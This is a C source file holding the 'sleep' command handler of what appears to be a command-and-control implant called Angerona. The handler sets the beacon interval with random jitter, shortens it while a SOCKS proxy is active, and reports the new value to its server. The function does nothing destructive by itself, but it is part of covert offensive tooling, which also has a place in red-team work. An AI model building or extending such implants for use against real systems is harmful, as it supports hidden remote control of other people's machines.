#include "sleep.h"
#include "angerona.h"
#include "socks_manager.h"


BOOL sleep(PAnalizador argumentos) {

    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    UINT32 nbArg = getInt32(argumentos);
    UINT32 tiempoSleep = getInt32(argumentos);
    UINT32 maxVarianza = getInt32(argumentos);

    if (maxVarianza < 1) {
        maxVarianza = 1;
    }

    const int minVarianza = 1;
    const int rangoVarianza = maxVarianza / 2;
    int Rand = aleatorioInt32(0, rangoVarianza);
    tiempoSleep += Rand;

    if (tiempoSleep < minVarianza) {
        tiempoSleep = minVarianza;
    }

    if (angeronaConfig == NULL) {
        _err("Error: angeronaConfig no ha sido inicializado.\n");
        return FALSE;
    }

    _dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);

    /* convertir a milisegundos */
    tiempoSleep = tiempoSleep * 1000;

    /* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
    if (socks_proxy_active) {
        _dbg("SOCKS activo → ajustando sleep corto dinámico");
        if (tiempoSleep > 5000) tiempoSleep = 5000;  // máximo 5 segundos
    }

    angeronaConfig->tiempoSleep = tiempoSleep;

    _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);

    /* respuesta al servidor */
    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaTarea, tareaUuid, FALSE);
    addInt32(respuestaTarea, tiempoSleep);
    mandarPaquete(respuestaTarea);
    liberarPaquete(respuestaTarea);

    return TRUE;
}
